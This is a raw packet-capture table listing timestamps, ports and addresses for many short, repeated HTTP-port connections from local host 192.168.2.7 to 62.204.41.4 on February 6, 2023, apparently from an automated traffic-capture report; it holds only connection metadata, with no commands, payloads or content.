Feb 6, 2023 18:38:20.116576910 CET	50254	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.177680016 CET	80	50253	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.177840948 CET	50253	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.178611040 CET	80	50254	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.178853035 CET	50254	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.179239988 CET	50254	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.241722107 CET	80	50254	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.245098114 CET	80	50254	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.245254040 CET	50254	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.361731052 CET	50254	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.363305092 CET	50255	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.423355103 CET	80	50254	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.423578978 CET	50254	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.424520969 CET	80	50255	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.424671888 CET	50255	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.425504923 CET	50255	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.486746073 CET	80	50255	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.489131927 CET	80	50255	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.489337921 CET	50255	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.594253063 CET	50255	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.594963074 CET	50256	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.655755997 CET	80	50255	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.655843973 CET	50255	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.656280041 CET	80	50256	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.656375885 CET	50256	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.656894922 CET	50256	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.718184948 CET	80	50256	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.720566988 CET	80	50256	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.720731020 CET	50256	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.829485893 CET	50256	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.830190897 CET	50257	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.891438007 CET	80	50256	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.891510963 CET	50256	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.892369986 CET	80	50257	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.892473936 CET	50257	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.892807961 CET	50257	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.955722094 CET	80	50257	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.958321095 CET	80	50257	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:20.958398104 CET	50257	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.070970058 CET	50257	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.071870089 CET	50258	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.133421898 CET	80	50257	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.133465052 CET	80	50258	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.133527994 CET	50257	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.133584976 CET	50258	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.134136915 CET	50258	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.195687056 CET	80	50258	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.199671030 CET	80	50258	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.199765921 CET	50258	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.314969063 CET	50258	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.316004038 CET	50259	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.376562119 CET	80	50259	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.376590967 CET	80	50258	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.376765013 CET	50258	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.377243996 CET	50259	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.378413916 CET	50259	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.439117908 CET	80	50259	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.441360950 CET	80	50259	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.441468954 CET	50259	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.547627926 CET	50259	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.548753023 CET	50260	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.608272076 CET	80	50259	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.608948946 CET	50259	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.611177921 CET	80	50260	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.613338947 CET	50260	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.613962889 CET	50260	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.676753998 CET	80	50260	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.679806948 CET	80	50260	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.679899931 CET	50260	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.781548023 CET	50260	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.782672882 CET	50261	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.844187021 CET	80	50260	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.844224930 CET	80	50261	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.844413996 CET	50260	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.844456911 CET	50261	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.845479965 CET	50261	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:21.906943083 CET	80	50261	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.910104036 CET	80	50261	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:21.910295963 CET	50261	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.017054081 CET	50261	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.018654108 CET	50262	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.078483105 CET	80	50261	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.078598022 CET	50261	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.079027891 CET	80	50262	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.082797050 CET	50262	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.083151102 CET	50262	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.143656015 CET	80	50262	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.147461891 CET	80	50262	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.147609949 CET	50262	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.250159979 CET	50262	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.250770092 CET	50263	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.310604095 CET	80	50262	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.310745001 CET	50262	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.311266899 CET	80	50263	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.311381102 CET	50263	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.311707973 CET	50263	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.373250008 CET	80	50263	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.375593901 CET	80	50263	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.378216028 CET	50263	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.486143112 CET	50263	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.487416983 CET	50264	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.547297955 CET	80	50263	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.547435045 CET	50263	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.549813032 CET	80	50264	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.549937010 CET	50264	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.550322056 CET	50264	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.614825964 CET	80	50264	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.616416931 CET	80	50264	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.616658926 CET	50264	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.730750084 CET	50265	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.730761051 CET	50264	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.792424917 CET	80	50265	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.792541027 CET	50265	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.792860985 CET	50265	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.793236017 CET	80	50264	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.793411970 CET	50264	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.854286909 CET	80	50265	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.857007980 CET	80	50265	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:22.857135057 CET	50265	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.969104052 CET	50265	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:22.969738007 CET	50266	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.031085968 CET	80	50265	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.031378031 CET	50265	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.032624006 CET	80	50266	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.032829046 CET	50266	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.033535004 CET	50266	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.096043110 CET	80	50266	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.100374937 CET	80	50266	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.100585938 CET	50266	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.203984976 CET	50266	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.205503941 CET	50267	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.265885115 CET	80	50267	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.266050100 CET	50267	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.266629934 CET	80	50266	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.266743898 CET	50266	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.274291992 CET	50267	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.334712029 CET	80	50267	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.339706898 CET	80	50267	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.339812994 CET	50267	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.456825018 CET	50267	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.458549023 CET	50268	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.517225981 CET	80	50267	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.517352104 CET	50267	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.520136118 CET	80	50268	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.520240068 CET	50268	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.521301031 CET	50268	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.582931042 CET	80	50268	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.585572958 CET	80	50268	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.585709095 CET	50268	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.703650951 CET	50268	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.704335928 CET	50269	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.764859915 CET	80	50269	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.765067101 CET	50269	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.765151024 CET	80	50268	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.765216112 CET	50268	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.765845060 CET	50269	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.826272011 CET	80	50269	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.828995943 CET	80	50269	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.829088926 CET	50269	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.937901974 CET	50269	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.938571930 CET	50270	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.998575926 CET	80	50269	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.998727083 CET	50269	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.998970032 CET	80	50270	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:23.999108076 CET	50270	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:23.999396086 CET	50270	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.060820103 CET	80	50270	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:24.064944983 CET	80	50270	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:24.065037012 CET	50270	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.173928976 CET	50270	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.175081015 CET	50271	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.234318972 CET	80	50270	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:24.234438896 CET	50270	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.235752106 CET	80	50271	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:24.235865116 CET	50271	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.266112089 CET	50271	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.326977968 CET	80	50271	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:24.329607010 CET	80	50271	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:24.329767942 CET	50271	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.664119005 CET	50271	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.664793968 CET	50272	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.724936008 CET	80	50271	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:24.725414038 CET	80	50272	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:24.725562096 CET	50271	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.725580931 CET	50272	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.734925032 CET	50272	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.796353102 CET	80	50272	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:24.798865080 CET	80	50272	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:24.800862074 CET	50272	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.953841925 CET	50272	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:24.954508066 CET	50273	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.014585972 CET	80	50272	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:25.016813993 CET	80	50273	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:25.016963959 CET	50272	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.017019987 CET	50273	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.058834076 CET	50273	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.121136904 CET	80	50273	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:25.124984980 CET	80	50273	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:25.125138044 CET	50273	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.273924112 CET	50273	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.274584055 CET	50274	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.336635113 CET	80	50273	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:25.337080956 CET	80	50274	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:25.337203026 CET	50273	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.337249994 CET	50274	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.337790966 CET	50274	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.400276899 CET	80	50274	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:25.402496099 CET	80	50274	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:25.402652979 CET	50274	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.974528074 CET	50274	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:25.975220919 CET	50275	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:26.036955118 CET	80	50275	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:26.037164927 CET	50275	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:26.037235022 CET	80	50274	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:26.037307978 CET	50274	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:26.060580015 CET	50275	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:26.122205019 CET	80	50275	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:26.127399921 CET	80	50275	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:26.127593040 CET	50275	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:26.235913992 CET	50275	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:26.237534046 CET	50276	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:26.298557997 CET	80	50275	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:26.298712015 CET	50275	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:26.299674034 CET	80	50276	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:26.299809933 CET	50276	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:26.300126076 CET	50276	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:26.362426043 CET	80	50276	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:26.364619017 CET	80	50276	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:26.364743948 CET	50276	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.273267984 CET	50276	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.279154062 CET	50277	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.336996078 CET	80	50276	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.337163925 CET	50276	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.341998100 CET	80	50277	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.342211008 CET	50277	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.380412102 CET	50277	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.442940950 CET	80	50277	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.446774960 CET	80	50277	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.446876049 CET	50277	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.572240114 CET	50277	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.572851896 CET	50278	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.634759903 CET	80	50277	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.634948015 CET	50277	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.635083914 CET	80	50278	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.635195017 CET	50278	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.635525942 CET	50278	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.697994947 CET	80	50278	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.701442957 CET	80	50278	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.701571941 CET	50278	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.821604967 CET	50278	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.822278023 CET	50279	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.884023905 CET	80	50279	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.884072065 CET	80	50278	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.884187937 CET	50279	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.884546995 CET	50279	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.884593010 CET	50278	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:27.945975065 CET	80	50279	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.948548079 CET	80	50279	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:27.948627949 CET	50279	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.068686962 CET	50279	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.069355011 CET	50280	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.130675077 CET	80	50279	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.130799055 CET	50279	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.131906986 CET	80	50280	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.132033110 CET	50280	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.132356882 CET	50280	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.195187092 CET	80	50280	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.198837042 CET	80	50280	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.198936939 CET	50280	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.313844919 CET	50280	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.314657927 CET	50281	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.376512051 CET	80	50280	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.376580954 CET	50280	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.377420902 CET	80	50281	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.377521038 CET	50281	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.378215075 CET	50281	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.440581083 CET	80	50281	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.442949057 CET	80	50281	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.443104982 CET	50281	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.564727068 CET	50281	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.565885067 CET	50282	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.627388954 CET	80	50281	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.627461910 CET	80	50282	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.627610922 CET	50281	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.627722979 CET	50282	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.628160954 CET	50282	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.691057920 CET	80	50282	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.692078114 CET	80	50282	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.692274094 CET	50282	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.798610926 CET	50282	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.799762964 CET	50283	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.860279083 CET	80	50282	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.861097097 CET	80	50283	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.861463070 CET	50282	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.863439083 CET	50283	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.863962889 CET	50283	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:28.926127911 CET	80	50283	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.927964926 CET	80	50283	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:28.928126097 CET	50283	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.032495022 CET	50283	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.034835100 CET	50284	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.094170094 CET	80	50283	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.094280958 CET	50283	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.095715046 CET	80	50284	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.097589016 CET	50284	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.098649979 CET	50284	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.159235001 CET	80	50284	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.162779093 CET	80	50284	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.163398027 CET	50284	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.267478943 CET	50284	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.268536091 CET	50285	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.328471899 CET	80	50284	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.329248905 CET	80	50285	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.329430103 CET	50284	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.329488039 CET	50285	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.330319881 CET	50285	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.390959978 CET	80	50285	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.393243074 CET	80	50285	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.393419981 CET	50285	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.502517939 CET	50285	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.506320000 CET	50286	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.563205004 CET	80	50285	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.563420057 CET	50285	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.566143036 CET	80	50286	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.567435980 CET	50286	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.567763090 CET	50286	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.627737045 CET	80	50286	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.629834890 CET	80	50286	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.629985094 CET	50286	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.735666990 CET	50286	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.737337112 CET	50287	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.795734882 CET	80	50286	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.795968056 CET	50286	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.798037052 CET	80	50287	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.798342943 CET	50287	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.798909903 CET	50287	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.859544992 CET	80	50287	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.862126112 CET	80	50287	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:29.862330914 CET	50287	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:29.970793009 CET	50287	80	192.168.2.7	62.204.41.4
